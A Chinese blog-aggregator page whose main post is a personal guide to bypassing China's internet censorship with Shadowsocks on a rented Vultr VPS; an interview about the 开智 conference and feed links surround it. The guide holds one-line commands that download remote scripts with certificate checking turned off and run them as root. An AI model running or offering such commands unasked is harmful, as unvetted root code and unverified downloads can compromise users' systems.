- 除了健康，都是小事 - 庭说
- 用这些技巧保持你的口腔健康，别等到牙齿坏掉才后悔
也许我词不达意，但好的生活方式，值得被你我尝试。愿你有一口好牙。
- 博客 Jiajun的编程随想 2017-11-04 08:00:00《Python开发实践经验》> 这是我在公司项目中写下的约定, 该项目使用Python3开发, 分享出来, 希望对大家也会有一些帮助- 项目杜绝循环引用, 包之间的引用关系为(`->` 表示被引用)...
- 博客 Jiajun的编程随想 2017-10-25 08:00:00《Golang实现平滑重启(优雅重启)》> 平滑重启，也叫优雅重启，热重启，平滑升级，热升级，热更新等等。最近在看traefik的源代码, 看到其中有一个功能是平滑重启, 不过他是通过一个叫做 [graceful](https://github.com/tylerb/graceful)...
- 博客 Jiajun的编程随想 2017-10-24 08:00:00《traefik 教程》traefik 是一个HTTP层面的反向代理和负载均衡, 用Go编写, 有的功能包括:- 没有依赖...
- 博客 Jiajun的编程随想 2017-10-19 08:00:00《Web开发系列(十)：事务和锁》## 事务事务，有哪四个特性？想必十有八九在面试中问过这个问题...
- 博客 Jiajun的编程随想 2017-10-19 08:00:00《Nginx作为TCP/UDP的负载均衡》从Nginx 1.9开始，nginx也可以支持TCP/UDP的负载均衡，当然前提是编译的时候把stream这个模块编译进去了，可以通过 `nginx -V` 来查看是否有...
- 博客 Jiajun的编程随想 2017-10-19 08:00:00《Web开发系列(九)：消息队列，异步任务》有这样一个需求，第三方请求向我们的用户发送一个推送消息。我们必须尽快响应第三方：你的请求我们收到了，但是第三方又想知道结果。一种办法是等，第三方等我们的系统处理好了，然后返回结果给他。这样做有个优点，代码逻辑简单，但是缺点似乎更大，因为用户要等待结果，所以这个TCP连接是不会断掉的，也就意味着，如果请求的并发量比较大，那么对我们的系统负载是非常高的，因为要...
- 博客 Jiajun的编程随想 2017-10-19 08:00:00《Web开发简介系列》这个系列是我用来总结从实习到现在这一年半里接触到的web开发相关知识用的，主要是从后端开发的视角去看。从大体上分为两部分，简介部分和扩展部分。简介部分主要是从各个角度说明web开发中需要用到的一些东西，而扩展部分则是对简介部分没有讲到的东西的补充和讲到的东西的深入。以下是提纲（简介部分已经完成，扩展部分我会依次写完并且更新超链接）...
- 博客 Jiajun的编程随想 2017-10-19 08:00:00《Web开发系列(十一）：数据库扩展》常见的MySQL数据库扩展方式有：- 读写分离：这种情况适用于读远大于写的情况，读越多，就可以分出越多的从库。从库是只读的，主则负责所有的写入。主和从之间...
- 博客 Jiajun的编程随想 2017-10-18 08:00:00《Nginx 请求匹配规则》当一个请求到来，nginx首先会检查请求的目标ip地址和端口与哪一个规则里listen的部分相匹配。如果同一个ip和端口中匹配了多个虚拟的server块，nginx将会测试HTTP请求中 `Host`头部的值和nginx配置文件中 `server_name` 的值。如果一个 `Host` 匹配到了多个 `server_name`，那么nginx...
- 博客 Jiajun的编程随想 2017-10-18 08:00:00《Web开发系列(六)：关系型数据库，ORM》数据库，web开发中总是离不开这个核心应用，可以说web开发的核心就是数据库。但数据库是一个泛称，通常我们说的数据库是指关系型数据库，此外还有非关系型数据库。在这篇文章中，我们单指关系型数据库...
- 博客 Jiajun的编程随想 2017-10-18 08:00:00《Web开发系列(七)：缓存，CDN》## 缓存如果有一个GET请求，每秒钟有10k请求，但是10s钟才需要刷新一次，你会让内容服务器不停地处理这类请求吗？...
- 博客 Jiajun的编程随想 2017-10-18 08:00:00《Web开发系列(八)：单点故障，负载均衡》试想我们有一个内容服务器，假设是监听在 `192.168.1.1:8000` 上，我们所有的请求都打到这上面，那么这个进程或者机器挂了怎么办？因此有一个新的概念，叫做 [单点故障](https://en.wikipedia.org/wiki/Single_point_of_failure)。即，只要我们这唯一的，仅有的...
- 博客 Jiajun的编程随想 2017-10-17 08:00:00《Web开发系列(五)：form, json, xml》## 旧石器时代：表单很久以前的web开发是怎么一个工作模式呢？那时候的前端不像现在的前端，那时候的前端基本上就是熟练CSS和HTML就可以了，JS要求其实...
- 博客 Jiajun的编程随想 2017-10-16 08:00:00《Web开发系列(四)：Flask, Tornado和WSGI》如 [上篇](https://jiajunhuang.com/articles/2017_10_14-web_dev_part2.md.html) 所讲，作为一个web服务器，我们需要建立socket连接，并且监听在指定端口，当请求来到时我们要解析请求的内容，做出判断，给出响应，然后关闭连接，进行下一个服务...
- 博客 Jiajun的编程随想 2017-10-15 08:00:00《Web开发系列(三)：什么是HTML,CSS,JS？》这篇博客要写的内容比较无聊，属于概念性的东西，我们介绍一下web开发中无法避开的三个东西，HTML，CSS和JS。HTML全称是Hypertext Markup Language，也是一种格式，或者说一种约定，大概张这样子...
- 博客 Jiajun的编程随想 2017-10-14 08:00:00《Web开发系列(二)：HTTP协议》在上一次我们介绍TCP协议的最后([点这里](https://jiajunhuang.com/articles/2017_08_12-tcp_ip.md.html))，我们简单的看了一下HTTP协议大概长什么样：当我们输入 `GET / HTTP/1.1` 回车之后，终端里便回显出服务器所返回的内容。今天我们更详细一点的看一看HTTP协议...
- 博客 Jiajun的编程随想 2017-10-13 08:00:00《Web开发系列(一)：从输入网址到最后，这个过程经历了什么？》这个问题，其实非常非常非常的大，涉及到的知识点和细节非常的多。不过我们适度的抛去一些无关紧要的细节，例如在PC上用键盘输入还是在手机上用触屏输入这种...
- 博客 Jiajun的编程随想 2017-10-11 08:00:00《SNI: 让Nginx在一个IP上使用多个证书》近几天，准备在nginx给多个域名配证书，原想着在不同的server下配不同的证书是多么自然的一件事情啊。然后老大跟我说不能，这样会收不到请求，我说为啥呢？...
- 博客 庭说 2017-10-11 00:00:00
在墙大的国家机器面前，我推荐 99% 的人直接去 菜市场 购买 现成的番茄。倘若动手能力不错，可以买一块地（VPS），自己种番茄。
术语解释
非技术出身，不妥之处，敬请斧正。
VPN
- 全称：Virtual Private Network（虚拟私人网络）。
- 因为本来是用于企业内网传输，被用来翻墙后，效果并不理想，而且不能分流（系统（全局）层面）。
- 但是以 VPN 已经成为是翻墙的代名词。
SS
- 全称：Shadowsocks(R)。
- 但 SS 只是一口锅，你需要把番茄（翻墙）放进去，稍作炒制（设置），才能烹饪出可口的番茄。番茄可以自己种，也可以去菜市场（俗称机场，因为 SS 的图标是小飞机）买。
- 在电脑上代理软件，只有浏览器才能上外网，其他软件，例如 Telegram，需要额外配置。
- 在手机上是 VPN 软件，连接之后在状态栏有 VPN 的标识，因此手机上的浏览器、YouTube、Instgram、Twitter 无需单独设置，即可访问海外网站。
- 因为 SS 诞生之初就是为了翻墙，所以此法至今健在。
Shadowsocks(R) 各客户端的区别
Shadowsocks(R) 简称为 SS(R)，俗称酸酸（乳）。因为图标是小飞机，所以番茄商（说法来自庭说）也叫机场。
客户端 注释 Shadowsocks 原版客户端，但不支持订阅，不过更新勤快。 ShadowsocksD 在 Shadowsocks 的基础上增加了订阅功能，更新勤快，但对系统挑剔。 ShadowsocksR Shadowsocks 的分支，原生支持订阅功能，但停止更新了。 ShadowsocksRR ShadowsocksR 的继承者，推荐使用。 线路选择
- 直连：翻墙客户端 --> 公网（GFW） --> 翻墙服务端
- BGP：翻墙客户端 --> 国内中转服务器（BGP） --> 公网（GFW） --> 翻墙服务端
- IPLC：翻墙客户端 --> 专线内网（IPLC） --> 翻墙服务端
价格和稳定性依次递进。
购买 VPS
VPS 是英文 Virtual Private Servers （虚拟专用服务器）的缩写，你可以粗浅地理解为一台不关机的电脑。借助 VPS 这个「跳板」，我们就可以访问被屏蔽的网站。
如果有外币单标国际信用卡，可以 免费申请 Google Cloud Platform 作为你的 VPS。
如果薅不到 Google 的羊毛，可以试试 Vultr 按小时计费的 Cloud Compute，纵使被当局「封印」了，换一台即可，相比于月付和年付，灵活稳妥。但是开出没有「前科」的 IP 需要一点时间，所以普通用户（包括我）还是直接 买番茄 吧。
注册
- 访问 Vultr
- 点击
Creat Account，注册账户并验证邮箱
充值
Log in（登录）后台- 点击
Billing（账单） - 选择
Alipay（支付宝）或WeChat Pay（微信支付）并支付 $10
部署
- 选择
Servers（服务器） - 默认进入
Vultr Cloud Compute (VC2)选购页面 - 选择
Server Location（服务器地区） Server Type（操作系统）：推荐Cent OS 7 × 64Server Size（配置）：$5/mo- 优先选择低于
$5/mo的配置（$2.5/mo、$3.5/mo经常售罄） - 请勿选择
IPv6 ONLY的配置
- 优先选择低于
Additional Features（附加特性）：免费的都可以勾上Deploy Now- 当服务器的状态
Status由红色的Installing变为绿色的Running，代表你购买的 VPS 已经启动了
连接 VPS
使用 SSH（Secure Shell）客户端可以远程控制你的刚刚购买的 VPS。
- Windows 用户可以使用 PuTTY（读 [ˈpʌti] ）连接 VPS。
- macOS 用户可以使用苹果电脑自带的终端（Terminal）连接 VPS.
部署 VPS
目前比较流行的番茄种植技术有：
- Shadowsocks
- 2012 年 4 月 20 日诞生
- 主流种植技术，但种出来番茄保质期越来越短了
- 变体有 ShadowsocksR 和 ShadowsocksRR
- V2Ray
- 2015 年 11 月 30 日发布 1.0 正式版
- 新兴种植技术，可以救活被网管砸坏的番茄
- 种植技术较复杂
Shadowsocks
搭建流程
- 在 VPS（服务器）上安装 Shadowsocks 服务端
- 在电脑 / 手机上安装 Shadowsocks 客户端
- 启动客户端，输入服务器地址、端口、密码和加密方式等，不出意外，即可访问 Google
安装 Shadowsocks 服务端
根据不同的系统，复制下面的 Shadowsocks 一键安装脚本（四合一），右键粘贴到 PuTTY 的
[root@vultr ~]#后面：CentOS
wget --no-check-certificate -O shadowsocks-all.sh https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks-all.shchmod +x shadowsocks-all.sh./shadowsocks-all.sh 2>&1 | tee shadowsocks-all.logDebian/Ubuntu
wget --no-check-certificate https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocks-libev-debian.shchmod +x shadowsocks-libev-debian.sh./shadowsocks-libev-debian.sh 2>&1 | tee shadowsocks-libev-debian.log回车:
./shadowsocks-all.sh 2>&1 | tee shadowsocks-all.log回车:
Which Shadowsocks server you'd select:1) Shadowsocks-Python2) ShadowsocksR3) Shadowsocks-Go4) Shadowsocks-libev Please enter a number (Default Shadowsocks-Python):输入
4选择 Shadowsocks-libev，回车：You choose = Shadowsocks-libevPlease enter password for Shadowsocks-libev(Default password: teddysun.com):输入
密码（推荐先在记事本写好密码，再粘贴进来），回车：password = ********Please enter a port for Shadowsocks-libev [1-65535](Default port: *****):输入一个喜欢的
端口号（推荐五位数），回车：port = *****Please select stream cipher for Shadowsocks-libev:1) aes-256-gcm2) aes-192-gcm3) aes-128-gcm4) aes-256-ctr5) aes-192-ctr6) aes-128-ctr7) aes-256-cfb8) aes-192-cfb9) aes-128-cfb10) camellia-128-cfb11) camellia-192-cfb12) camellia-256-cfb13) xchacha20-ietf-poly130514) chacha20-ietf-poly130515) chacha20-ietf16) chacha2017) salsa2018) rc4-md5Which cipher you'd select(Default: aes-256-gcm):加密方式选择支持 AEAD Ciphers 的算法：
- 用的是新款手机，选择
3) aes-128-gcm（旧款手机用这个加密方法，开销很大） - 小白直接选择更普适的
13) xchacha20-ietf-poly1305（Why）
回车：
cipher = xchacha20-ietf-poly1305Do you want install simple-obfs for Shadowsocks-libev? [y/n](default: n):输入
n，回车：You choose = nPress any key to start...or Press Ctrl+C to cancel回车，稍等几分钟：
Congratulations, Shadowsocks-libev server install completed!Your Server IP : 44.55.666.777Your Server Port : *****Your Password : ********Your Encryption Method: xchacha20-ietf-poly1305Your QR Code: (For Shadowsocks Windows, OSX, Android and iOS clients) ss://eGNoYWNoYTIwLWlldGYt**9seTEzMDU6NjM4OTAyMDM4OC5ANDUuNz**MTYwLjIwOTo1NTY2Ng==Your QR Code has been saved as a PNG file path: /root/shadowsocks_libev_qr.pngWelcome to visit: https://teddysun.com/486.htmlEnjoy it!为 Shadowsocks 加把劲（可选）
这一步是开启 Google BBR 来提升网络速度（开挂）。具体操作如下：
在
[root@vultr ~]#:后粘贴以下代码：wget --no-check-certificate https://github.com/teddysun/across/raw/master/bbr.sh && chmod +x bbr.sh && ./bbr.sh回车：
Press any key to start...or Press Ctrl+C to cancel回车……
安装完成后，脚本会提示需要重启 VPS，输入
y，回车后重启重连 SSH，验证 BBR 是否安装成功
输入
uname -r，有4.13.0以上就表示内核更新成功
扩展知识
一般来说，AES-GCM 系列算法的内存使用低于 ChaCha20-Ietf-Poly1305 系列算法
ARM v8 之后加入了 AES 指令，在 ARM v8 平台上的设备，AES 方式反而比 ChaCha20-Ietf-Poly1305 方式更快，性能更好，这样可减少加密解密所产生的数据量，使得性能更好。
对于精简指令集的 ARM 平台，由于没有 AES-NI 指令集，ChaCha20-Ietf-Poly1305 在同等配置的手机中表现是 AES 的 4 倍，这样可减少加密解密所产生的数据量，使得性能更好。一般在近几年的手机/软路由 CPU 中都内置了AES-NI 指令集。
by Dler Cloud
安装 Shadowsocks 客户端
参考 番茄食用指南 中的「吃番茄」章节。
V2Ray
未实践过。
翻墙往事
第一阶段：2016 年，我刚开始翻墙的时候，在搜索引擎输入关键词「翻墙」，循着蛛丝马迹，找到了 赛风，接着用 GoAgent ，但是速度都很慢。看到 Fenng 的博客 推荐 GreenVPN，买了一年，只用了半年，2017 年 6 月 22 日就被封了，也没有退款。
第二阶段：既然别人靠不住，不如自己动手。2017 年 10 月 11 日，用一键脚本 在 Vultr 搭建了 Shadowsocks。
第三阶段：可是 GFW 的封锁技术日新月异，因为种植技术一般，种出来的番茄（翻墙）越来越难吃了，回到 购买番茄 的路子上。
若批评不自由，则赞美无意义。如果只允许一种声音存在，那么唯一存在的那个声音，基本上就是谎言。因为饭里有几粒沙子，从此以后就不吃饭，还不准全国人民吃，这就是中国特色。
特别鸣谢
营造清朗网络环境的第一步是让信息充分流动，但是在「泥泞的中文互联网」上，我们都是信息难民。感谢那些教我们 种番茄 的先驱：特别是秋水逸冰，他的 Shadowsocks 四合一一键安装脚本和 BBR 一键安装脚本 极大地改善了我们的 数字生活。
智者建桥，愚者建墙。脚著谢公屐，身登青云梯。愿大家永远坚强，永远懂得如何飞翔。
关联阅读
- 博客 EVILCOS 2017-10-04 15:17:38用了很久了，推荐下这个： Wordfence Security 细节自己体验吧，说点别的。 WordPress […]
- 博客 Jiajun的编程随想 2017-09-27 08:00:00《Haskell: infixl, infixr, infix》> https://www.haskell.org/onlinereport/decls.html#fixityinfix,infixl,infixr是Haskell中给运算符定义优先级操作用的...
- 博客 Jiajun的编程随想 2017-09-26 08:00:00《Haskell简明教程（五）：处理JSON》> 这一系列是我学习 `Learn You a Haskell For Great Good` 之后，总结，编写的学习笔记。这个系列主要分为五个部分...
- 博客 Jiajun的编程随想 2017-09-25 08:00:00《Haskell简明教程（四）：Monoid, Applicative, Monad》> 这一系列是我学习 `Learn You a Haskell For Great Good` 之后，总结，编写的学习笔记。这个系列主要分为五个部分...
- 博客 Jiajun的编程随想 2017-09-22 08:00:00《HTTPS 的详细流程》> 之前有专门研究了一下HTTPS的具体工作流程，不过因为不是天天需要回忆，很快就忘了> 所以现在专门写一篇博客记录下来，不过内容翻译自 [这里](http://blogs.getcertifiedgetahead.com/understanding-https-process-security/)...
- 博客 Jiajun的编程随想 2017-09-21 08:00:00《OAuth2 为什么需要 Authorization Code?》emm。。。今天我搜了一下OAuth2的流程，发现无论是中文还是英文，一上来都是跟你讲，一共是五个步骤blablabla。。。我就在想，为啥不能不要五步，OAuth2为什么中间需要一个 Authorization Code 呢？为什么不能直接...
- 博客 Jiajun的编程随想 2017-09-20 08:00:00《任务队列怎么写？python rq源码阅读与分析》rq的意思是 Redis Queue。这个项目和redis是强结合的，此外还有一个重度依赖是pickle。这是这个项目很简单的原因之一...
- 博客 Jiajun的编程随想 2017-09-19 08:00:00《XMonad 配置教程》我已经用XMonad作为窗口管理器好几年了，XMonad非常稳定，但是中文里一直都没有一篇比较好懂的XMonad配置教程，我想可能的原因是XMonad的门槛比较高---配置需要懂一点Haskell...
- 博客 Jiajun的编程随想 2017-09-18 08:00:00《Haskell简明教程（三）：Haskell语法》> 这一系列是我学习 `Learn You a Haskell For Great Good` 之后，总结，编写的学习笔记。这个系列主要分为五个部分...
- 博客 Jiajun的编程随想 2017-09-17 08:00:00《Haskell简明教程（二）：从命令式语言进行抽象》> 这一系列是我学习 `Learn You a Haskell For Great Good` 之后，总结，编写的学习笔记。这个系列主要分为五个部分...
- 博客 Jiajun的编程随想 2017-09-11 08:00:00《Haskell简明教程（一）：从递归说起》> 这一系列是我学习 `Learn You a Haskell For Great Good` 之后，总结，编写的学习笔记。这个系列主要分为五个部分...
- 博客 Jiajun的编程随想 2017-09-03 08:00:00《2017年必装的VIM插件推荐》> 其实，我是用 [neovim](https://github.com/neovim/neovim) 的 :)- vim-plug...
- 博客 Jiajun的编程随想 2017-09-02 08:00:00《TCP/IP简明教程 - 从零构建TCP/IP协议（二）连接，断开与拥塞控制》> 这是第二篇，主要讲三次握手，四次挥手，滑动窗口，拥塞控制## 回顾...
- 博客 Randy's Blog 2017-08-25 08:00:001975
- 博客 Randy's Blog 2017-08-20 08:00:001976
- 博客 Jiajun的编程随想 2017-08-12 08:00:00《TCP/IP简明教程 - 从零构建TCP/IP协议（这次叫PCT协议）》> 这篇博客是读完《图解TCP／IP协议》和《TCP／IP协议详解卷一：协议》之后的总结我从0构建了一个可靠的双工的有序的基于流的协议，叫做PCT协议 :)...
- 博客 Jiajun的编程随想 2017-08-09 08:00:00《Lua Manual 阅读笔记》- 关键字:```...
- 博客 阳志平的网志 2017-08-05 08:00:00
从来没想过，我这样反社交的人会担任策展人，操盘一个大会快三年了。从来没在公开场合提过开智大会。在这里，借同事采访之际，整理一下我办开智大会的初心，聊聊我为什么要办一个这样的大会，召集那些从不追逐名利的、内在动机驱动的演讲者。低调的开智大会，应该被更多人知道。
Part1. 年轻的朋友来相会
Q1. 今年是第三届开智大会了，阳老师您举办开智大会的初衷是什么？
这个社会从来不缺大会，我是一个反社交的人，熟悉我的师友都知道，我从来不去拜访什么人，都是对方来找我。参加大会的人越多，那么你的收益越少。从来没想到，有一天，我担任策展人，举办一个大会三年。
在举办首届开智大会时，我并不清楚开智大会意义何在。当初举办时，还碰到经济上的困难。约好的赞助商放我鸽子，我正想顺其自然地放弃。不想，陈虎平老师力挺，二话不说，第一时间捐赠几千元，劝我发动开智社群众筹。短短十五分钟内，收到开智社群众筹两万元。不少老师还在感叹，为什么不给自己参与众筹的机会呢？
于是，一个内向的人就这么磕磕绊绊地联系场地、演讲者，最终，首届开智大会顺利举办。
回头看，促成首届开智大会的有两位关键人物。第一位是首先提议的安替老师。2014年10月开智书友会成立，聚集两百博士；2015年1月开智青年群成立，聚集三百青年。安替老师当时在开智青年群中调侃，年轻男女穿着正装去参加舞会是最美妙的事情。三百荷尔蒙冲动期间的高知青年越聊越来劲，最终决定筹办一个线下大会——虽然三年后依然没舞会。第二位是陈虎平老师，在我想放弃举办时，他的一句话说服了我：别去想什么意义不意义，将这么多好学上进的年轻小伙伴聚集在一起，本身就是意义。
Q2. 演化三年，开智大会做对了什么？
第一届开智大会成功举办后，我突然明白了，开智大会是一个异类的年度盛会。你喜欢追逐内在动机，常常思考人之为人的那些谜题，如爱与智慧，如美与好奇，然而，你总得不到周边人的理解。直到有一天，你来到了开智，元科学、高阶模型、同侪信任与最小行动，无数可能的自我开始浮现，前路从未如此清晰。
每个年轻人在成为自己的路上，都走过弯路，24岁到36岁这段时间，错过的总是多过得到的；遗憾总是大于收获。绝大多数人放弃了，最终成为名利驱动的动物。总有少数人，坚持走到底，成为内在动机驱动的人。如果由这些年龄在35岁以上的异类来给年轻小伙伴，讲述他们的人生故事，我想，多多少少，有所启发。
正因为我是一位异类，我理解那些年轻人走过的弯路；也正是多年来，我离名利躲得远远的，反而身边聚集了一大帮内在动机驱动的「中年」小伙伴。 如此一来，从首届开智大会，就形成了她的独特格调与强大气场：
第一，保持纯粹。开智大会没有任何赞助商。 不是不想拉赞助，而是当时拉赞助失败了，最后变成社群众筹。阴差阳错，从此不需要讨好任何赞助商，根据自己的品味来做。一些技术大会，由于迁就赞助商，不得不安排一些无聊的演讲，送票都没人去。开智大会虽然收取门票，但每年售票都是秒光。
第二，创造模因。 开智大会成了新型模因的产卵场。每一届开智大会上，都会涌现出精彩模因，如第一届安替老师的「时空选择论」；第二届徐毅斐的「四不像」都是精彩模因。由于没有做任何线上直播，纯粹线下体验，提高了模因保真度，最终影响了不少小伙伴的行为。
第三，远离名利。 如果有讲者怀揣商业目的，我一定不买账。异类遇见异类，这是开智大会的意义，每一年，给这类内在动机的人提供一个相聚的机会。每一年，天南海北，年轻的朋友来相会。
Q3. 说说开智大会如何挑选讲师以及每年的主题的吧？
我在首届开智大会举办之后，写下了挑选演讲者的标准：
- 不装，为人热情，乐于助人
- 有公认的作品
- 有独特审美
- 内在动机驱动，不为名利所束缚
- 有内在热情，一下子能击中人心的那种
- 演讲侧重人生故事，有情感披露，时隔十年后回看视频，依然能感动
其中最重要的两条就是内在动机驱动与作品。 在每年大会上，可以看到这些内在动机的讲者，如何走自己的路。有的老师走得特别顺；有的老师走得没那么顺。当下是否拥有世俗意义上的成功并非我在意的。我更在意的是演讲者是一位有趣的人。
再说一下开智大会的主题选择。我是一个懒鬼，推崇批量解决问题，因此在筹备第一届开智大会时就想好了未来。积极心理学创始人塞利格曼将人类美好品质总结为六大美德和 24 种人格优势。每一年，我会根据当下时代主题，从人类美德中挑选两大美德，相辅相成，形成张力。人类美德不同维度，交错在一起，这种矛盾，比单向度的人更有意思。 比如首届开智大会主题是「爱与智慧」，其中「爱」隶属于仁爱类优势；「智慧」隶属于智慧类美德。第二届开智大会主题是「美与好奇」，其中「美」隶属于卓越类美德；「好奇」隶属于智慧类美德。
Part2. 创造与热情
Q4. 说说今年的开智大会主题吧！
2017年第三届开智大会主题是「创造与热情」（creativity and zest）。其中，
- 创造：隶属于智慧类美德，缺失该人格优势，导致「从众」；该人格优势反面是「平庸」；该优势过度导致「怪癖」。
- 热情：隶属于勇气类美德，缺失该人格优势，导致「克制（禁欲）」；该人格优势反面是「死板」；该优势过度导致「多动、过度活跃」。
我喜欢「创造与热情」，认为它是我的生命写照。未来我也会以「creativity and zest」为题，拟作开智主题曲。这两个词凸显了开智社群的创造者气质：一方面需要用作品说话；另一方面能够坚持大时间周期。
三分钟热度容易，但坚持大时间周期不简单。拿今年的演讲者路意老师举例，一米九的大帅哥，他的生活与众不同。多数人创业奔着融资、上市去，工作与家庭失衡。但他在2012年创办了自己的工作室，之后五年，安静地呆在深圳郊区，陪着可爱的女儿，与家人安静地生活。团队分布在全世界各个地方。不融资不吹牛，不知不觉以品味赢得了几百万用户。
再拿陈虎平老师举例，我在微博上开玩笑说他是一位鸡血娃，虎平特别不像中年人，他甚至比20多岁的小朋友更热情。他的生活单纯有力，迄今翻译、创作10余本书，十年下来，平均一年一本。
再拿陈虎平老师举例，我在微博上开玩笑说他是一位鸡血娃，虎平特别不像中年人，他甚至比20多岁的小朋友更热情。他的生活单纯有力，迄今翻译、创作10余本书，十年下来，平均一年一本。
Q5. 介绍一下阳老师如何认识这四位朋友的吗？他们都有啥有趣的故事？
开智大会演讲者普遍拥有一种跨学科的气质。路意老师读书时念的是飞机管制，但如今是一位有意思的设计师。他从事过5年的算法研究和软件工程，后转行从事6年的用户体验设计与管理，之后再次转行以产品创新进行创业。
我与路意老师结识在开智书友会。在书友会里，他分享了大量读过的英文书，当时就觉得蛮有品位。之后在深圳开智沙龙，就做了精彩分享。此外，路意老师还是《深泽直人》简体中文版的译者。
与虎平老师是通过微博认识的。虎平如果推崇一个人，他会推崇得特别绝对。当时他密集读完我的博客，不断在微博上引用我的文章，从而得以认识。认识虎平之后，发现我们品味一致，兴趣重合极大，如都喜欢认知科学、演化论、心灵哲学等等。
虎平老师是一个内在动机饱满，单纯有力的人。首届开智大会举办，他第一个掏钱支持，《追时间的人》出版，他自掏腰包买来两百本送给值得送的年轻小伙伴。每次与虎平见面时，都发现他在操劳整个中国与整个一代年轻人而非自己利益。 他说过一句话我十分感动，他说攒钱没什么意思，还不如资助那些有潜力的年轻人。年轻时，能遇到虎平这样的老师，会多么幸运！
与李雪凇老师结识类似虎平。他是一位创办了二十年的集团公司董事长，房地产营销圈的公认大师。中国多数豪宅营销都由他的团队策划推广。他也是狂热的认知科学与重度阅读者。当他发现买到的认知科学图书上，不断出现我的名字时，他就去读我的博客，然后叫助手联系我。当时以为这人肯定是那类我不太想结识的名利驱动的人。见面之后，才发现雪凇是一位极有趣的人。之后带团队小伙伴回访雪凇团队，惊呆了，在朝阳区一个三层独栋，近两百位设计师，围着成千上万书。第一次见到一位将公司设计为图书馆的小伙伴。
跟黄扬名老师的结识相反，是我跑到台北找到他的。黄扬名老师坚持写了十余年博客，一篇博文提到了他对注意力评估App开发的看法。我觉得写得太好了，写了邮件，约了去台北拜访。第一次见面，是在台湾大学附近的一个咖啡馆里，两人聊了很久。但发现我误解他了。我是冲着儿童注意力去找他的，可他那时科研主攻方向是老年人认知老化。因此，当时并没有直接合作。机缘巧合的是第二年，我开始做认知老化，想到这个是扬名老师主攻方向，又跑到台北和扬名老师启动合作，共建实验室，也就是安人心智的认知与情绪实验室。
自从2014年创办安人心智集团以来，最幸运的事情是遇到一批非常聪明勤奋善良真诚的小伙伴们。毫不夸张地说，扬名老师是我的贵人。认识扬名老师之后，先是合作开发了两款中老年人脑力评估与脑力训练的App；接着又是在儿童脑认知科学领域进行了深入探讨，上线课程、App等。当然，我最喜欢扬名老师的童心！扬名老师会特意飞到香港，就是为了看米菲展览；扬名老师也会为了感谢团队小伙伴，快递一堆好喝的台湾奶茶过来。
从我与各位老师的结识过程可以看出，内向者社交不二准则是用作品说话，你的作品能够让你和很多人建立君子之交。另一个启发是，这些老师对技术理解都很深刻，并且用产品来承载思考。传统社会，你的品位只能影响一两个人，但这些老师的作品，可以影响数百万人。对于创造者来说，技术可以成为他的思想品位审美的放大器。
Q6. 一位创造者总会有热情消退时？阳老师您如何调整？
一位创造者，肯定会存在低谷期和高峰期，热情消退不可避免。有低谷是正常的，但是要从低谷中学到一些东西。
2008年，我处于低谷。我从低谷中学到最重要的东西是个人节律，时间的节拍比目标更重要。你每天如何分配自己的时间，比你用这些时间来做什么更重要。有人会关注我要达成什么目标，这个没那么重要，更重要的是你每天的生活节律：你是每天热衷参加无聊聚会，还是花时间读书思考？五年十年之后再看，会产生复利效应，把你和别人区分开。
村上春树说，职业小说家与业余小说家的区别，在于不论喜不喜欢写，每天都会写10页左右。希望你构建更好的时间节拍，成为职业创造者，而不是一个一辈子打酱油的创造者。
Part3. 异类遇见异类
Q7. 开智大会带给您最大的惊喜是什么？
开智大会演讲者多是我认识多年的老朋友，我以为自己已经足够了解他们，但是通过他们的演讲，我发现了他们不一样的维度。第一届，我在听到安替老师的「时空选择论」时太激动了；第二届，在听到徐毅斐老师的《慢慢地做一只麋鹿》时，当场哭了。创业不易，徐老师在三百人的会场，认真剖析自己作为一名四不像的异类，一次又一次探索的经历，感人至深。我期盼十年后，重温开智大会的历期演讲，依然感动。
Q8.您希望大会变成开智群友的小众聚会，还是变成一个更有影响力的大众活动？
一个坚持三年的大会，会有自己的生命力。未来的大会，究竟依然小众还是变得更有影响，这不取决于我，更多是开智社群小伙伴共同决定。无论如何，未来开智大会，我会始终坚持这三条底线：
- 选题的坚持：成为更好的自己，共建一个美好世界，坚持以人类美德选题。
- 讲者的坚持：每年的演讲者必须是内在动机驱动的。
- 格调的坚持：坚持前沿科技，面向未来，反民科反鸡汤。 除去这三点，其他开智大会每年的形式、人数、场地，都可能会根据实际情况妥协。这就是开智大会的底线与妥协。
Q9. 开智大会的口号是鼓励内在动机的人相遇，那您认为每一年异类聚集的原因是什么？他们内心渴求什么？大会又会给他们带来什么样的改变？
开智大会马上第三届了，她强调异类遇见异类，是内在动机者的聚会。在大会期间，发生了许多有趣的故事，不少年轻小朋友的职业生涯因此改变。我讲三个小故事：
第一个故事。第一届开智大会，有一位做金融的小朋友开智晚宴期间，坐在安替旁边，被安替老师说的眉飞色舞，毫不犹豫抛弃了金融行业的高薪，加入了安替老师的财新世界说。看似这是一个年轻人被理想感召，踏上英雄之旅的故事。但是结局不同于所有人想象。成年人的行为模式往往已经固化，她跟着安替老师创业一年多之后，又回到了金融行业，因为媒体行业的薪资与金融行业还是蛮大的。虽然最终退回去了，但是这段经历，我相信对她的人生有极大影响。
有时候就是通过这种看似浪费时间的职业生涯出轨，会让你更明白自己真正的动机。有时候你会发现自己没有想象中的那么强大，有时候你也会发现你比自己想象中的还要强大。
第二个故事。与我身边的一位同事有关，时间到了第二次开智大会。他是一位做了五年的资深HR，但一直想转型做算法工程师。当时他对自己能否转型成功忐忑。但是他来了开智大会之后，看到这么多内在动机、朝气蓬勃，不断思考的小伙伴，信念一下就坚定了。他在今年一月份离开长沙，加入了开智团队担任全职算法工程师，是团队中公认的人品与能力标杆。
第三个故事。一位我不太熟悉的朋友，她原本在南京，业余热爱绘画，但一直得不到周边人理解。去年参加第二届开智大会时，受到了徐毅斐老师的影响，离开了舒适圈，来到北京工作。在徐老师手下获得极大的成长。
回头看一下这三位小伙伴，有的人改变之后又回去，有的人改变比较顺利。历届开智大会演讲者年龄都在 35岁以上，可以给你在年轻时的异类之路提供一些参考。开智大会是一个触发器，但你的道路，终究得你自己来走。
小结
就像我创立了开智一样，开智其实也在不知不觉间改变我。在《追时间的人》后记中，我写道：
